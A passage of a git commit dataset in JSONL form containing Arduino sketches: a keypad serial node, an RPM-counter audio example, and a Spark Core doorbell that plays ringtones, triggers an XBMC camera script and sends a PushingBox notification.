_DBG_LED 13 \/\/ SCK\n\/\/# define A0\n\/\/# define A1\n\/\/# define A2\n\/\/# define A3\n\/\/# define A4\n\/\/# define A5\n\n\n\nMpeSerial mpeser (57600);\n\nMilliTimer idle, stdby;\n\n\/* *** InputParser *** {{{ *\/\n\n\/* *** \/InputParser }}} *** *\/\n\n\/* *** Scheduled tasks *** {{{ *\/\n\n\/\/ XXX: no scheduled events\nenum {\n\tTASK_END\n};\n\/\/ Scheduler.pollWaiting returns -1 or -2\nstatic const char SCHED_WAITING = 0xFF; \/\/ -1: waiting to run\nstatic const char SCHED_IDLE = 0xFE; \/\/ -2: no tasks running\n\nstatic word schedbuf[TASK_END];\nScheduler scheduler (schedbuf, TASK_END);\n\n\/\/ has to be defined because we're using the watchdog for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\/* *** \/Scheduled tasks }}} *** *\/\n\n\/* *** EEPROM config *** {{{ *\/\n\n\n\n\/* *** \/EEPROM config }}} *** *\/\n\n\/* *** Peripheral devices *** {{{ *\/\n\n\nbyte rowPins[ROWS] = { ROW1_PIN };\nbyte colPins[COLS] = { COL1_PIN, COL2_PIN, COL3_PIN, COL4_PIN };\n\n\/\/initialize an instance of class NewKeypad\nKeypad customKeypad = Keypad( makeKeymap(pad1x3), rowPins, colPins, ROWS, COLS); \n\n\/* *** \/Peripheral devices }}} *** *\/\n\n\/* *** Peripheral hardware routines *** {{{ *\/\n\n\/* *** \/Peripheral hardware routines }}} *** *\/\n\n\/* *** Initialization routines *** {{{ *\/\n\nvoid initConfig(void)\n{\n\t\/\/ See Prototype\/Node\n\t\/\/sprintf(node_id, \"%s%i\", static_config.node, static_config.node_id);\n}\n\nvoid doConfig(void)\n{\n\t\/* load valid config or reset default config *\/\n\t\/\/if (!loadConfig(static_config)) {\n\t\/\/\twriteConfig(static_config);\n\t\/\/}\n\tinitConfig();\n}\n\nvoid initLibs()\n{\n}\n\n\n\/* *** \/Initialization routines }}} *** *\/\n\n\/* *** Run-time handlers *** {{{ *\/\n\nvoid doReset(void)\n{\n\tdoConfig();\n\n#ifdef _DBG_LED\n\tpinMode(_DBG_LED, OUTPUT);\n#endif\n\tui_irq = false;\n\ttick = 0;\n}\n\nbool doAnnounce()\n{\n\treturn false;\n}\n\nvoid doMeasure()\n{\n}\n\nvoid doReport(void)\n{\n}\n\nvoid uiStart()\n{\n\tidle.set(UI_SCHED_IDLE);\n\tif (!ui) {\n\t\tui = true;\n\t}\n}\n\nvoid runScheduler(char task)\n{\n\tswitch (task) {\n\n\t\t\/\/ FIXME: scheduler is not needed for SerialNode?\n\n#if DEBUG && SERIAL\n\t\tcase SCHED_WAITING:\n\t\tcase SCHED_IDLE:\n\t\t\tSerial.print(\"!\");\n\t\t\tserialFlush();\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tSerial.print(\"0x\");\n\t\t\tSerial.print(task, HEX);\n\t\t\tSerial.println(\" ?\");\n\t\t\tserialFlush();\n\t\t\tbreak;\n#endif\n\n\t}\n}\n\n\n\/* *** \/Run-time handlers }}} *** *\/\n\n\/* *** Main *** {{{ *\/\n\n\nvoid setup(void)\n{\n#if SERIAL\n\tmpeser.begin();\n\tmpeser.startAnnounce(sketch, String(version));\n#if DEBUG || _MEM\n\tSerial.print(\"Free RAM: \");\n\tSerial.println(freeRam());\n#endif\n\tserialFlush();\n#endif\n\n\tinitLibs();\n\n\tdoReset();\n}\n\nvoid loop(void)\n{\n\tchar customKey = customKeypad.getKey();\n\tif (customKey){\n\t\tSerial.println(customKey);\n\t}\n\treturn; \/*\n#ifdef _DBG_LED\n\tblink(_DBG_LED, 3, 10);\n#endif\n\tif (ui_irq) {\n\t\tdebugline(\"Irq\");\n\t\tui_irq = false;\n\t\tuiStart();\n\t\t\/\/analogWrite(BL, 0xAF ^ BL_INVERTED);\n\t}\n\tdebug_ticks();\n\n\tchar task = scheduler.poll();\n\tif (-1 < task && task < SCHED_IDLE) {\n\t\trunScheduler(task);\n\t}\n\tif (ui) {\n\t\tparser.poll();\n\t\tif (idle.poll()) {\n\t\t\tdebugline(\"Idle\");\n\t\t\tstdby.set(UI_STDBY);\n\t\t} else if (stdby.poll()) {\n\t\t\tdebugline(\"StdBy\");\n\t\t\tui = false;\n\t\t} else if (!stdby.idle()) {\n\t\t\t\/\/ XXX toggle UI stdby Power, got to some lower power mode..\n\t\t\tdelay(30);\n\t\t}\n\t} else {\n#ifdef _DBG_LED\n\t\tblink(_DBG_LED, 1, 25);\n#endif\n\t\tdebugline(\"Sleep\");\n\t\tserialFlush();\n\t\tchar task = scheduler.pollWaiting();\n\t\tdebugline(\"Wakeup\");\n\t\tif (-1 < task && task < SCHED_IDLE) {\n\t\t\trunScheduler(task);\n\t\t}\n\t} *\/\n}\n\n\/* }}} *** *\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Prototype\/Keypad\/Pad1x4\/Pad1x4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a34cead92a7edce2f2e5301458656d42be7eb538","subject":"Added leds","message":"Added leds\n","repos":"natcl\/RpmCounter","old_file":"examples\/RpmCounterAudio\/RpmCounterAudio.ino","new_file":"examples\/RpmCounterAudio\/RpmCounterAudio.ino","new_contents":"#include <RpmCounter.h>\n#include <Audio.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n\nRpmCounter rpmCounter1;\nRpmCounter rpmCounter2;\n\n\/\/ GUItool: begin automatically generated code\nAudioPlaySdWav playWav1; \/\/xy=86,122\nAudioSynthWaveformDc dc1; \/\/xy=383,147\nAudioSynthWaveformDc dc2; \/\/xy=384,280\nAudioEffectMultiply multiply1; \/\/xy=500,124\nAudioEffectMultiply multiply2; \/\/xy=516,252\nAudioOutputI2S i2s1; \/\/xy=701,194\nAudioConnection patchCord1(playWav1, 0, multiply1, 0);\nAudioConnection patchCord2(playWav1, 1, multiply2, 0);\nAudioConnection patchCord3(dc1, 0, multiply1, 1);\nAudioConnection patchCord4(dc2, 0, multiply2, 1);\nAudioConnection patchCord5(multiply1, 0, i2s1, 0);\nAudioConnection patchCord6(multiply2, 0, i2s1, 1);\nAudioControlSGTL5000 sgtl5000_1;\n\/\/ GUItool: end automatically generated code\n\n#define SDCARD_CS_PIN 10\n#define SDCARD_MOSI_PIN 7\n#define SDCARD_SCK_PIN 14\n\nconst byte ledPin1 = 13;\nconst byte ledPin2 = 14;\nconst byte sensorPin1 = 2;\nconst byte sensorPin2 = 3;\n\nvoid setup()\n{\n\trpmCounter1.setCountCallback(onCounter1);\n\trpmCounter2.setCountCallback(onCounter2);\n\n\trpmCounter1.setRpmCallback(onRpm1);\n\trpmCounter2.setRpmCallback(onRpm2);\n\n\trpmCounter1.begin(sensorPin1, 4, 400, 4, 10);\n\trpmCounter2.begin(sensorPin2, 4, 400, 4, 10);\n\n \/\/ LED\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, HIGH);\n\n\tAudioMemory(8);\n\n\tsgtl5000_1.enable();\n\tsgtl5000_1.volume(0.5);\n\n\tSPI.setMOSI(SDCARD_MOSI_PIN);\n\tSPI.setSCK(SDCARD_SCK_PIN);\n\tif (!(SD.begin(SDCARD_CS_PIN))) {\n\t \/\/ stop here, but print a message repetitively\n\t while (1) {\n\t Serial.println(\"Unable to access the SD card\");\n\t delay(500);\n\t }\n\t}\n\tdc1.amplitude(1.);\n\tdc2.amplitude(1.);\n}\n\nvoid loop()\n{\n\tplayFile(\"stereo.wav\");\n}\n\nvoid playFile(const char *filename)\n{\n Serial.print(\"Playing file: \");\n Serial.println(filename);\n\n \/\/ Start playing the file. This sketch continues to\n \/\/ run while the file plays.\n playWav1.play(filename);\n\n \/\/ A brief delay for the library read WAV info\n delay(5);\n\n \/\/ Simply wait for the file to finish playing.\n while (playWav1.isPlaying()) {\n \trpmCounter1.update();\n\t rpmCounter2.update();\n updateLed();\n \/\/ uncomment these lines if you audio shield\n \/\/ has the optional volume pot soldered\n float vol = analogRead(15);\n vol = vol \/ 1024;\n sgtl5000_1.volume(vol);\n }\n}\n\nvoid onRpm1(float val)\n{\n\tSerial.print(\"Sensor 1: \");\n\t\/\/Serial.println(val);\n\tfloat vol = map(val, 0, 300, 0, 100) \/ 100.;\n\tSerial.println(val);\n\tdc1.amplitude(vol);\n\n}\n\nvoid onRpm2(float val)\n{\n\tSerial.print(\"Sensor 2: \");\n\t\/\/Serial.println(val);\n\tfloat vol = map(val, 0, 300, 0, 100) \/ 100.;\n\t\/\/Serial.println(val);\n\tdc2.amplitude(vol);\n}\n\nvoid onCounter1()\n{\n\trpmCounter1.count();\n}\n\nvoid onCounter2()\n{\n\trpmCounter2.count();\n}\n\nvoid updateLed1()\n{\n if (digitalRead(sensorPin1) == HIGH) \n {\n digitalWrite(ledPin1, HIGH);\n } \n else \n {\n digitalWrite(ledPin1, LOW);\n }\n}\n\nvoid updateLed2()\n{\n if (digitalRead(sensorPin2) == HIGH) \n {\n digitalWrite(ledPin2, HIGH);\n } \n else \n {\n digitalWrite(ledPin2, LOW);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RpmCounterAudio\/RpmCounterAudio.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1654d0f2ffdaa970ee5a57fe497d32ab02badd62","subject":"Create possible3.ino","message":"Create possible3.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-as-client\/possible3.ino","new_file":"spark-as-client\/possible3.ino","new_contents":"#include \"application.h\"\n\n\/\/ XBMC Setup\nchar xbmcServer[] = \"your server\"; \/\/ XBMC Server\nint xbmcPort = 80; \/\/ XBMC Port\nchar xbmcScript[] = \"\/jsonrpc?request={%22jsonrpc%22:%222.0%22,%22method%22:%22Addons.ExecuteAddon%22,%22params%22:{%22addonid%22:%22script.securitycam%22},%22id%22:%221%22}}\"; \/\/ Script to run\nchar xbmcLogon[] = \"Base64encoded\"; \/\/ Username:Password base64 encoded\n\n\n\/\/ Pushing Box Setup\nchar serverName[] = \"api.pushingbox.com\"; \/\/ Pushingbox Server\nchar deviceID[] = \"\/pushingbox?devid=YOURDEVIDHERE\"; \/\/ Get request \n\n\/\/ Select a Tune from below\n\n\/\/char *song = (char *)\"The Simpsons:d=4,o=5,b=168:c.6,e6,f#6,8a6,g.6,e6,c6,8a,8f#,8f#,8f#,2g,8p,8p,8f#,8f#,8f#,8g,a#.,8c6,8c6,8c6,c6\";\n\/\/char *song = (char *)\"Indiana:d=4,o=5,b=250:e,8p,8f,8g,8p,1c6,8p.,d,8p,8e,1f,p.,g,8p,8a,8b,8p,1f6,p,a,8p,8b,2c6,2d6,2e6,e,8p,8f,8g,8p,1c6,p,d6,8p,8e6,1f.6,g,8p,8g,e.6,8p,d6,8p,8g,e.6,8p,d6,8p,8g,f.6,8p,e6,8p,8d6,2c6\";\n\/\/char *song = (char *)\"TakeOnMe:d=4,o=4,b=160:8f#5,8f#5,8f#5,8d5,8p,8b,8p,8e5,8p,8e5,8p,8e5,8g#5,8g#5,8a5,8b5,8a5,8a5,8a5,8e5,8p,8d5,8p,8f#5,8p,8f#5,8p,8f#5,8e5,8e5,8f#5,8e5,8f#5,8f#5,8f#5,8d5,8p,8b,8p,8e5,8p,8e5,8p,8e5,8g#5,8g#5,8a5,8b5,8a5,8a5,8a5,8e5,8p,8d5,8p,8f#5,8p,8f#5,8p,8f#5,8e5,8e5\";\n\/\/char *song = (char *)\"Entertainer:d=4,o=5,b=140:8d,8d#,8e,c6,8e,c6,8e,2c.6,8c6,8d6,8d#6,8e6,8c6,8d6,e6,8b,d6,2c6,p,8d,8d#,8e,c6,8e,c6,8e,2c.6,8p,8a,8g,8f#,8a,8c6,e6,8d6,8c6,8a,2d6\";\n\/\/char *song = (char *)\"Muppets:d=4,o=5,b=250:c6,c6,a,b,8a,b,g,p,c6,c6,a,8b,8a,8p,g.,p,e,e,g,f,8e,f,8c6,8c,8d,e,8e,8e,8p,8e,g,2p,c6,c6,a,b,8a,b,g,p,c6,c6,a,8b,a,g.,p,e,e,g,f,8e,f,8c6,8c,8d,e,8e,d,8d,c\";\n\/\/char *song = (char *)\"Xfiles:d=4,o=5,b=125:e,b,a,b,d6,2b.,1p,e,b,a,b,e6,2b.,1p,g6,f#6,e6,d6,e6,2b.,1p,g6,f#6,e6,d6,f#6,2b.,1p,e,b,a,b,d6,2b.,1p,e,b,a,b,e6,2b.,1p,e6,2b.\";\n\/\/char *song = (char *)\"Looney:d=4,o=5,b=140:32p,c6,8f6,8e6,8d6,8c6,a.,8c6,8f6,8e6,8d6,8d#6,e.6,8e6,8e6,8c6,8d6,8c6,8e6,8c6,8d6,8a,8c6,8g,8a#,8a,8f\";\n\/\/char *song = (char *)\"20thCenFox:d=16,o=5,b=140:b,8p,b,b,2b,p,c6,32p,b,32p,c6,32p,b,32p,c6,32p,b,8p,b,b,b,32p,b,32p,b,32p,b,32p,b,32p,b,32p,b,32p,g#,32p,a,32p,b,8p,b,b,2b,4p,8e,8g#,8b,1c#6,8f#,8a,8c#6,1e6,8a,8c#6,8e6,1e6,8b,8g#,8a,2b\";\n\/\/char *song = (char *)\"Bond:d=4,o=5,b=80:32p,16c#6,32d#6,32d#6,16d#6,8d#6,16c#6,16c#6,16c#6,16c#6,32e6,32e6,16e6,8e6,16d#6,16d#6,16d#6,16c#6,32d#6,32d#6,16d#6,8d#6,16c#6,16c#6,16c#6,16c#6,32e6,32e6,16e6,8e6,16d#6,16d6,16c#6,16c#7,c.7,16g#6,16f#6,g#.6\";\n\/\/char *song = (char *)\"MASH:d=8,o=5,b=140:4a,4g,f#,g,p,f#,p,g,p,f#,p,2e.,p,f#,e,4f#,e,f#,p,e,p,4d.,p,f#,4e,d,e,p,d,p,e,p,d,p,2c#.,p,d,c#,4d,c#,d,p,e,p,4f#,p,a,p,4b,a,b,p,a,p,b,p,2a.,4p,a,b,a,4b,a,b,p,2a.,a,4f#,a,b,p,d6,p,4e.6,d6,b,p,a,p,2b\";\n\/\/char *song = (char *)\"StarWars:d=4,o=5,b=45:32p,32f#,32f#,32f#,8b.,8f#.6,32e6,32d#6,32c#6,8b.6,16f#.6,32e6,32d#6,32c#6,8b.6,16f#.6,32e6,32d#6,32e6,8c#.6,32f#,32f#,32f#,8b.,8f#.6,32e6,32d#6,32c#6,8b.6,16f#.6,32e6,32d#6,32c#6,8b.6,16f#.6,32e6,32d#6,32e6,8c#6\";\n\/\/char *song = (char *)\"GoodBad:d=4,o=5,b=56:32p,32a#,32d#6,32a#,32d#6,8a#.,16f#.,16g#.,d#,32a#,32d#6,32a#,32d#6,8a#.,16f#.,16g#.,c#6,32a#,32d#6,32a#,32d#6,8a#.,16f#.,32f.,32d#.,c#,32a#,32d#6,32a#,32d#6,8a#.,16g#.,d#\";\n\/\/char *song = (char *)\"TopGun:d=4,o=4,b=31:32p,16c#,16g#,16g#,32f#,32f,32f#,32f,16d#,16d#,32c#,32d#,16f,32d#,32f,16f#,32f,32c#,16f,d#,16c#,16g#,16g#,32f#,32f,32f#,32f,16d#,16d#,32c#,32d#,16f,32d#,32f,16f#,32f,32c#,g#\";\n\/\/char *song = (char *)\"A-Team:d=8,o=5,b=125:4d#6,a#,2d#6,16p,g#,4a#,4d#.,p,16g,16a#,d#6,a#,f6,2d#6,16p,c#.6,16c6,16a#,g#.,2a#\";\n\/\/char *song = (char *)\"Flinstones:d=4,o=5,b=40:32p,16f6,16a#,16a#6,32g6,16f6,16a#.,16f6,32d#6,32d6,32d6,32d#6,32f6,16a#,16c6,d6,16f6,16a#.,16a#6,32g6,16f6,16a#.,32f6,32f6,32d#6,32d6,32d6,32d#6,32f6,16a#,16c6,a#,16a6,16d.6,16a#6,32a6,32a6,32g6,32f#6,32a6,8g6,16g6,16c.6,32a6,32a6,32g6,32g6,32f6,32e6,32g6,8f6,16f6,16a#.,16a#6,32g6,16f6,16a#.,16f6,32d#6,32d6,32d6,32d#6,32f6,16a#,16c.6,32d6,32d#6,32f6,16a#,16c.6,32d6,32d#6,32f6,16a#6,16c7,8a#.6\";\n\/\/char *song = (char *)\"Jeopardy:d=4,o=6,b=125:c,f,c,f5,c,f,2c,c,f,c,f,a.,8g,8f,8e,8d,8c#,c,f,c,f5,c,f,2c,f.,8d,c,a#5,a5,g5,f5,p,d#,g#,d#,g#5,d#,g#,2d#,d#,g#,d#,g#,c.7,8a#,8g#,8g,8f,8e,d#,g#,d#,g#5,d#,g#,2d#,g#.,8f,d#,c#,c,p,a#5,p,g#.5,d#,g#\";\nchar *song = (char *)\"Gadget:d=16,o=5,b=50:32d#,32f,32f#,32g#,a#,f#,a,f,g#,f#,32d#,32f,32f#,32g#,a#,d#6,4d6,32d#,32f,32f#,32g#,a#,f#,a,f,g#,f#,8d#\";\n\/\/char *song = (char *)\"Smurfs:d=32,o=5,b=200:4c#6,16p,4f#6,p,16c#6,p,8d#6,p,8b,p,4g#,16p,4c#6,p,16a#,p,8f#,p,8a#,p,4g#,4p,g#,p,a#,p,b,p,c6,p,4c#6,16p,4f#6,p,16c#6,p,8d#6,p,8b,p,4g#,16p,4c#6,p,16a#,p,8b,p,8f,p,4f#\";\n\/\/char *song = (char *)\"MahnaMahna:d=16,o=6,b=125:c#,c.,b5,8a#.5,8f.,4g#,a#,g.,4d#,8p,c#,c.,b5,8a#.5,8f.,g#.,8a#.,4g,8p,c#,c.,b5,8a#.5,8f.,4g#,f,g.,8d#.,f,g.,8d#.,f,8g,8d#.,f,8g,d#,8c,a#5,8d#.,8d#.,4d#,8d#.\";\n\/\/char *song = (char *)\"LeisureSuit:d=16,o=6,b=56:f.5,f#.5,g.5,g#5,32a#5,f5,g#.5,a#.5,32f5,g#5,32a#5,g#5,8c#.,a#5,32c#,a5,a#.5,c#.,32a5,a#5,32c#,d#,8e,c#.,f.,f.,f.,f.,f,32e,d#,8d,a#.5,e,32f,e,32f,c#,d#.,c#\";\n\/\/char *song = (char *)\"MissionImp:d=16,o=6,b=95:32d,32d#,32d,32d#,32d,32d#,32d,32d#,32d,32d,32d#,32e,32f,32f#,32g,g,8p,g,8p,a#,p,c7,p,g,8p,g,8p,f,p,f#,p,g,8p,g,8p,a#,p,c7,p,g,8p,g,8p,f,p,f#,p,a#,g,2d,32p,a#,g,2c#,32p,a#,g,2c,a#5,8c,2p,32p,a#5,g5,2f#,32p,a#5,g5,2f,32p,a#5,g5,2e,d#,8d\";\n\/\/char *song = (char *)\"SMBtheme:d=4,o=5,b=100:16e6,16e6,32p,8e6,16c6,8e6,8g6,8p,8g,8p,8c6,16p,8g,16p,8e,16p,8a,8b,16a#,8a,16g.,16e6,16g6,8a6,16f6,8g6,8e6,16c6,16d6,8b,16p,8c6,16p,8g,16p,8e,16p,8a,8b,16a#,8a,16g.,16e6,16g6,8a6,16f6,8g6,8e6,16c6,16d6,8b,8p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16g#,16a,16c6,16p,16a,16c6,16d6,8p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16c7,16p,16c7,16c7,p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16g#,16a,16c6,16p,16a,16c6,16d6,8p,16d#6,8p,16d6,8p,16c6\";\n\/\/char *song = (char *)\"SMBunderground:d=16,o=6,b=100:c,c5,a5,a,a#5,a#,2p,8p,c,c5,a5,a,a#5,a#,2p,8p,f5,f,d5,d,d#5,d#,2p,8p,f5,f,d5,d,d#5,d#,2p,32d#,d,32c#,c,p,d#,p,d,p,g#5,p,g5,p,c#,p,32c,f#,32f,32e,a#,32a,g#,32p,d#,b5,32p,a#5,32p,a5,g#5\";\n\/\/char *song = (char *)\"SMBwater:d=8,o=6,b=225:4d5,4e5,4f#5,4g5,4a5,4a#5,b5,b5,b5,p,b5,p,2b5,p,g5,2e.,2d#.,2e.,p,g5,a5,b5,c,d,2e.,2d#,4f,2e.,2p,p,g5,2d.,2c#.,2d.,p,g5,a5,b5,c,c#,2d.,2g5,4f,2e.,2p,p,g5,2g.,2g.,2g.,4g,4a,p,g,2f.,2f.,2f.,4f,4g,p,f,2e.,4a5,4b5,4f,e,e,4e.,b5,2c.\";\n\/\/char *song = (char *)\"SMBdeath:d=4,o=5,b=90:32c6,32c6,32c6,8p,16b,16f6,16p,16f6,16f.6,16e.6,16d6,16c6,16p,16e,16p,16c\";\n\/\/char *song = (char *)\"RickRoll:d=4,o=5,b=200:8g,8a,8c6,8a,e6,8p,e6,8p,d6.,p,8p,8g,8a,8c6,8a,d6,8p,d6,8p,c6,8b,a.,8g,8a,8c6,8a,2c6,d6,b,a,g.,8p,g,2d6,2c6.,p,8g,8a,8c6,8a,e6,8p,e6,8p,d6.,p,8p,8g,8a,8c6,8a,2g6,b,c6.,8b,a,8g,8a,8c6,8a,2c6,d6,b,a,g.,8p,g,2d6,2c6.\";\n\/\/char *song = (char *)\"2.34kHzBeeps:d=4,o=7,b=240:d,p,d,p,d,p,d,p\";\n\/\/char *song = (char *)\"Satellit:d=8,o=6,b=112:g,e,16f,16e,d,c,g,c7,c\";\n\n\/\/ Input and Output Pins \n\nint16_t tonePin = D6; \/\/Dorrbell Sound Output \nint doorbell = D0; \/\/ Doorbell button connects to D0 on the core\nint LED = D7; \/\/ Built in LED\n\nboolean DEBUG = false; \/\/ enable or disable Debug\nint Retrys = 5; \/\/ Number of times to retry connecting\n\n\/\/ RTTTL setup\n\nint notes[] =\n{0,\n3817,3597,3401,3205,3030,2857,2703,2551,2404,2273,2146,2024,\n1908,1805,1701,1608,1515,1433,1351,1276,1205,1136,1073,1012,\n956,903,852,804,759,716,676,638,602,568,536,506,\n478,451,426,402,379,358,338,319,301,284,268,253,\n239,226,213,201,190,179,169,159,151,142,134,127};\n\n#define OCTAVE_OFFSET 0 \n\nboolean playing = false;\nbyte default_dur = 4;\nbyte default_oct = 6;\nbyte lowest_oct = 3;\nint bpm = 63;\nint num;\nlong wholenote;\nlong duration;\nbyte note;\nbyte scale;\nbool songDone = false;\nchar *songPtr;\n\n\nunsigned long Lockout; \/\/ used to stop flooding servers\n\nvoid setup() {\n\n pinMode(tonePin,OUTPUT);\n pinMode(doorbell, INPUT_PULLUP); \/\/ other side of doorbell will connect to ground to pull low\n Lockout = millis();\n pinMode(LED, OUTPUT); \/\/ sets LED as output\n if(DEBUG){\n digitalWrite(LED,HIGH); \/\/ Light the onboard LED so you know it's time to open your Serial Terminal\n Serial.begin(9600);\n while(!Serial.available()); \/\/ wait here for user to press ENTER in Serial Terminal\n digitalWrite(LED,LOW);\n\n Serial.print(\"SSID: \");\n Serial.println(Network.SSID());\n Serial.print(\"Core IP: \");\n Serial.println(Network.localIP());\n Serial.print(\"Gateway: \");\n Serial.println(Network.gatewayIP());\n Serial.print(\"Mask: \");\n Serial.println(Network.subnetMask());\n Serial.print(\"WiFi RSSI: \");\n Serial.println(Network.RSSI());\n }\n \n\n}\n\nvoid loop() {\n\n if (millis() >= Lockout){ \/\/ check how long its been since last pushed\n if(digitalRead(doorbell) == LOW) { \/\/read the doorbell button\n delay(50);\n if(digitalRead(doorbell) == LOW) { \/\/ debounce check again to make sure \n Lockout = millis() + 15000; \/\/ set up the lockout period 15 seconds before it will run again\n RGB.control(true);\n RGB.color(0,255,0);\n playing = true;\n while(playing) {\n if(!songDone) { \/\/ Start song\n songDone = true;\n begin_rtttl(song);\n }\n if(!next_rtttl()) { \/\/ Play next note\n songDone = false;\n playing = false;\n delay(2000);\n }\n \n }\n runXbmcScript(xbmcServer, xbmcPort, xbmcScript, xbmcLogon, Retrys); \/\/ opens up a script in xbmc that displays an ip camera \n sendToPushingBox(serverName, deviceID, Retrys); \/\/ sends push notification to mobile phone or sends email using pushingbox\n RGB.control(false);\n }\n }\n }\n\n}\n\n\nvoid runXbmcScript(char *hostname, int port, char *url, char *xbmclogon, int retry) {\n \n TCPClient client;\n char line[255];\n client.stop();\n \/\/digitalWrite(LED, HIGH); \/\/ sets the LED on\n \n if(DEBUG){Serial.print(\"connecting... \");}\n if (client.connect(hostname, port)) {\n if(DEBUG){\n Serial.print(\"connected to \");\n Serial.println(hostname);\n }\n delay(500);\n digitalWrite(LED, LOW);\n strcpy(line, \"GET \");\n strcat(line, url);\n strcat(line, \" HTTP\/1.1\\r\\n\");\n client.print(line);\n if(DEBUG){Serial.print(line);}\n \n strcpy(line, \"Host: \");\n strcat(line, hostname);\n strcat(line, \"\\r\\n\");\n client.print(line);\n if(DEBUG){Serial.print(line);}\n \n strcpy(line, \"Authorization: Basic \");\n strcat(line, xbmclogon);\n strcat(line, \"\\r\\n\");\n strcat(line, \"Connection: close\\r\\n\\r\\n\");\n client.print(line);\n delay(500);\n if(DEBUG){\n Serial.print(line);\n while (!client.available());\n while (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n Serial.println();\n }\n\n \n client.flush();\n\n delay(200);\n if(DEBUG){Serial.println(\"closing...\");}\n client.stop();\n \/\/digitalWrite(LED, LOW); \/\/ sets the LED off\n \n }\n else{\n digitalWrite(LED, HIGH); \/\/ sets the LED on. If always on, last connexion was failed\n if(DEBUG){Serial.println(\"connection failed\");}\n if (retry > 0) {\n retry--;\n delay(1000);\n runXbmcScript(hostname, port, url, xbmclogon, retry);\n } \n digitalWrite(LED, LOW);\n }\n}\n\nvoid sendToPushingBox(char *serverpbName, char *devid, int retry) {\n\n TCPClient clientx; \n char line[255];\n clientx.stop();\n \/\/digitalWrite(LED, HIGH); \/\/ sets the LED on\n \n if(DEBUG){Serial.print(\"connecting... \");}\n if (clientx.connect(serverpbName, 80)) {\n \n if(DEBUG){\n Serial.print(\"connected to \");\n Serial.println(serverpbName);\n }\n delay(500);\n digitalWrite(LED, LOW);\n strcpy(line, \"GET \");\n strcat(line, devid);\n strcat(line, \" HTTP\/1.1\\r\\n\");\n clientx.print(line);\n if(DEBUG){Serial.print(line);}\n \/\/delay(1000);\n strcpy(line, \"Host: \");\n strcat(line, serverpbName);\n strcat(line, \"\\r\\n\");\n clientx.print(line);\n if(DEBUG){Serial.print(line);}\n \/\/delay(1000);\n strcpy(line, \"Connection: close\\r\\n\");\n \/\/strcat(line, \"Accept: text\/html, text\/plain\\r\\n\");\n \/\/strcat(line, \"Content-Length: 0\\r\\n\");\n strcat(line, \"User-Agent: Spark\\r\\n\\r\\n\");\n clientx.print(line);\n delay(500);\n if(DEBUG){\n Serial.print(line);\n while (!clientx.available());\n while (clientx.available()) {\n char c = clientx.read();\n Serial.print(c);\n }\n Serial.println();\n }\n \n clientx.flush();\n delay(200);\n if(DEBUG){Serial.println(\"closing...\");}\n clientx.stop();\n\n \/\/digitalWrite(LED, LOW); \/\/ sets the LED off\n }\n else{\n digitalWrite(LED, HIGH); \/\/ sets the LED on. If always on, last connexion was failed\n if(DEBUG){Serial.println(\"connection failed\");}\n if (retry > 0) {\n retry--;\n sendToPushingBox(serverpbName, devid, retry);\n delay(1000);\n } \n digitalWrite(LED, LOW);\n }\n}\n\n\nvoid begin_rtttl(char *p)\n{\n while(*p != ':') p++; \/\/ ignore name\n p++; \/\/ skip ':'\n if(*p == 'd')\n {\n p++; p++; \/\/ skip \"d=\"\n num = 0;\n while(isdigit(*p))\n {\n num = (num * 10) + (*p++ - '0');\n }\n if(num > 0) default_dur = num;\n p++; \/\/ skip comma\n }\n \/\/ get default octave\n if(*p == 'o')\n {\n p++; p++; \/\/ skip \"o=\"\n num = *p++ - '0';\n if(num >= 3 && num <=7) default_oct = num;\n p++; \/\/ skip comma\n }\n \/\/ get BPM\n if(*p == 'b')\n {\n p++; p++; \/\/ skip \"b=\"\n num = 0;\n while(isdigit(*p))\n {\n num = (num * 10) + (*p++ - '0');\n }\n bpm = num;\n p++; \/\/ skip colon\n }\n \/\/ BPM usually expresses the number of quarter notes per minute\n wholenote = (60 * 1000L \/ bpm) * 2; \/\/ this is the time for whole note (in milliseconds)\n \/\/ Save current song pointer...\n songPtr = p;\n}\n\nbool next_rtttl() {\n\n char *p = songPtr;\n \/\/ if notes remain, play next note\n if(*p)\n {\n \/\/ first, get note duration, if available\n num = 0;\n while(isdigit(*p))\n {\n num = (num * 10) + (*p++ - '0');\n }\n \n if(num) duration = wholenote \/ num;\n else duration = wholenote \/ default_dur; \/\/ we will need to check if we are a dotted note after\n\n \/\/ now get the note\n note = 0;\n\n switch(*p)\n {\n case 'c':\n note = 1;\n break;\n case 'd':\n note = 3;\n break;\n case 'e':\n note = 5;\n break;\n case 'f':\n note = 6;\n break;\n case 'g':\n note = 8;\n break;\n case 'a':\n note = 10;\n break;\n case 'b':\n note = 12;\n break;\n case 'p':\n default:\n note = 0;\n }\n p++;\n if(*p == '#') \/\/ now, get optional '#' sharp\n {\n note++;\n p++;\n }\n if(*p == '.') \/\/ now, get optional '.' dotted note\n {\n duration += duration\/2;\n p++;\n }\n if(isdigit(*p)) \/\/ now, get scale\n {\n scale = *p - '0';\n p++;\n }\n else {\n scale = default_oct;\n }\n scale += OCTAVE_OFFSET;\n if(*p == ',')\n p++; \/\/ skip comma for next note (or we may be at the end)\n songPtr = p; \/\/ Save current song pointer...\n if(note){ \/\/ now play the note\n tone(tonePin, notes[(scale - lowest_oct) * 12 + note], duration);\n }\n else {\n delay(duration);\n }\n return 1; \/\/ note played successfully.\n }\n else {\n return 0; \/\/ all done\n }\n}\n\nvoid tone(int pin, int16_t note, int16_t duration) {\n for(int16_t x=0;x<(duration*1000\/note);x++) {\n PIN_MAP[pin].gpio_peripheral->BSRR = PIN_MAP[pin].gpio_pin; \/\/ HIGH\n delayMicroseconds(note);\n PIN_MAP[pin].gpio_peripheral->BRR = PIN_MAP[pin].gpio_pin; \/\/ LOW\n delayMicroseconds(note);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 